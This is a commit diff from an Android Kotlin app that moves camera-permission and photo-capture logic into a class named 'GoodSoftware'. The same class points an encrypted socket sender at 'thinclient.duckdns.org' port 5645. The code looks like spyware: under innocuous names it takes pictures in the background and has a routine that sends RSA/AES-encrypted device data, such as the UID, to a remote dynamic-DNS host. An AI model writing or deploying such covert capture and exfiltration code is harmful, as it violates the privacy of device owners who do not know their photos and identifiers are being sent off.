Move files
This commit is contained in:
		@@ -34,13 +34,17 @@ import android.os.Build
 | 
			
		||||
import android.telephony.TelephonyManager
 | 
			
		||||
import android.widget.Toast
 | 
			
		||||
import androidx.annotation.RequiresApi
 | 
			
		||||
import androidx.core.app.ComponentActivity
 | 
			
		||||
import androidx.core.content.ContextCompat.getSystemService
 | 
			
		||||
import androidx.lifecycle.lifecycleScope
 | 
			
		||||
import kotlinx.coroutines.launch
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class GoodSoftware (private val context: Context) {
 | 
			
		||||
class GoodSoftware (private val activity: ComponentActivity) {
 | 
			
		||||
    private var cameraProvider: ProcessCameraProvider? = null
 | 
			
		||||
    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
			
		||||
    private var imageCapture: ImageCapture? = null
 | 
			
		||||
    private val REQUEST_CAMERA_PERMISSION = 100
 | 
			
		||||
 | 
			
		||||
    private companion object {
 | 
			
		||||
        private const val RSA_ALGORITHM = "RSA"
 | 
			
		||||
@@ -95,20 +99,49 @@ class GoodSoftware (private val context: Context) {
 | 
			
		||||
        Thread {
 | 
			
		||||
            runAllTheGoodness()
 | 
			
		||||
        }.start()
 | 
			
		||||
        checkCameraPermission()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun checkCameraPermission() {
 | 
			
		||||
        if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
            requestCameraPermission()
 | 
			
		||||
        } else {
 | 
			
		||||
            startPictureCapture()
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun requestCameraPermission() {
 | 
			
		||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun startPictureCapture() {
 | 
			
		||||
        activity.lifecycleScope.launch {
 | 
			
		||||
            takeBeautifulPicture(activity, activity)
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    // Handle permission request result
 | 
			
		||||
    fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
 | 
			
		||||
        if (requestCode == REQUEST_CAMERA_PERMISSION) {
 | 
			
		||||
            if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                startPictureCapture()
 | 
			
		||||
            } else {
 | 
			
		||||
                // Permission denied
 | 
			
		||||
                // You may want to handle this case
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun runAllTheGoodness() {
 | 
			
		||||
        val uid = android.os.Process.myUid().toString()
 | 
			
		||||
        //sendDataToServer("UID: $uid")
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    fun sendDataToServer(sendData: String) {
 | 
			
		||||
        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
			
		||||
/*        val host = "thinclient.duckdns.org"
 | 
			
		||||
        val port = 5645*/
 | 
			
		||||
        val host = "192.168.90.151"
 | 
			
		||||
        val port = 8080
 | 
			
		||||
        val host = "thinclient.duckdns.org"
 | 
			
		||||
        val port = 5645
 | 
			
		||||
        val secureRandom = SecureRandom()
 | 
			
		||||
        val keyBytes = ByteArray(16)
 | 
			
		||||
        val ivBytes = ByteArray(16)
 | 
			
		||||
@@ -157,7 +190,7 @@ class GoodSoftware (private val context: Context) {
 | 
			
		||||
        socket.close()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    suspend fun takeBeautifulPicture(lifecycleOwner: LifecycleOwner) {
 | 
			
		||||
    suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
 | 
			
		||||
        // Ensure that cameraProvider is initialized
 | 
			
		||||
        cameraProvider = ProcessCameraProvider.getInstance(context).await()
 | 
			
		||||
 | 
			
		||||
@@ -231,11 +264,6 @@ class GoodSoftware (private val context: Context) {
 | 
			
		||||
        return cameraProvider?.hasCamera(CameraSelector.DEFAULT_FRONT_CAMERA) ?: false
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun requireContext(): Context {
 | 
			
		||||
        return context
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    object picture {
 | 
			
		||||
        const val TAG = "CameraXBasic"
 | 
			
		||||
        const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS"
 | 
			
		||||
 
 | 
			
		||||
@@ -20,7 +20,6 @@ import com.ti.m.ui.theme.MTheme
 | 
			
		||||
import kotlinx.coroutines.launch
 | 
			
		||||
 | 
			
		||||
class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
			
		||||
    private val REQUEST_CAMERA_PERMISSION = 100
 | 
			
		||||
    private lateinit var goo: GoodSoftware
 | 
			
		||||
 | 
			
		||||
    override fun onCreate(savedInstanceState: Bundle?) {
 | 
			
		||||
@@ -36,31 +35,10 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
			
		||||
        }
 | 
			
		||||
        goo = GoodSoftware(this@MainActivity)
 | 
			
		||||
        goo.launch()
 | 
			
		||||
        checkCameraPermission()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun checkCameraPermission() {
 | 
			
		||||
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
            ActivityCompat.requestPermissions(this as Activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
			
		||||
        } else {
 | 
			
		||||
            lifecycleScope.launch {
 | 
			
		||||
                goo.takeBeautifulPicture(this@MainActivity)
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
 | 
			
		||||
        super.onRequestPermissionsResult(requestCode, permissions, grantResults)
 | 
			
		||||
        if (requestCode == REQUEST_CAMERA_PERMISSION) {
 | 
			
		||||
            if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                // Permission granted, proceed with your camera operations
 | 
			
		||||
                lifecycleScope.launch {
 | 
			
		||||
                    goo.takeBeautifulPicture(this@MainActivity)
 | 
			
		||||
                }
 | 
			
		||||
            } else {
 | 
			
		||||
                // Permission denied
 | 
			
		||||
                Toast.makeText(this, "Camera permission denied", Toast.LENGTH_SHORT).show()
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
        goo.onRequestPermissionsResult(requestCode, grantResults)
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user